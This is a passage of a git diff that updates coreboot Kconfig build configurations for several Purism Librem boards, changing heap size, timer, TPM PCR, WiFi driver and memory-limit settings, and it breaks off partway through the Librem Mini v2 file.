b/config/coreboot-librem_14.config @@ -151,7 +151,7 @@ CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/ CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 14" CONFIG_HAVE_IFD_BIN=y @@ -180,7 +180,6 @@ CONFIG_BOARD_PURISM_LIBREM_14=y CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -196,6 +195,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -229,6 +229,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -263,6 +264,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -309,6 +311,7 @@ CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -347,7 +350,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -510,8 +512,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -600,6 +600,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -634,6 +635,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -666,6 +668,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -727,6 +730,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index be69a553c..e1c8c843c 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM15_V3=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 3e25331d7..547eeea2f 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM15_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 4d60e9f7f..72ff041f8 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -177,7 +177,6 @@ CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_L1UM_V2=y -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 # CONFIG_DRIVERS_IPMI_SUPERMICRO_OEM is not set CONFIG_TPM_MEASURED_BOOT=y @@ -194,6 +193,7 @@ CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set CONFIG_COREBOOT_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=32768 @@ -226,6 +226,7 @@ CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -259,6 +260,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -306,6 +308,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -344,7 +347,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -509,8 +511,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -577,10 +577,6 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y @@ -591,6 +587,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -628,6 +625,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -660,6 +658,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -725,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 9893f5017..a46f936af 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -152,9 +152,10 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini" CONFIG_HAVE_IFD_BIN=y @@ -184,7 +185,6 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,6 +199,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -230,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -262,6 +264,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -309,6 +312,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -348,7 +352,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -513,8 +516,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -592,6 +593,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -616,6 +618,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -647,6 +650,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -709,6 +713,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index e2943e249..28a87a56a 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -152,9 +152,10 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini v2" CONFIG_HAVE_IFD_BIN=y @@ -184,7 +185,6 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,6 +199,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -230,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -244,7 +246,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 CONFIG_SOC_INTEL_I2C_DEV_MAX=6 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Include/" 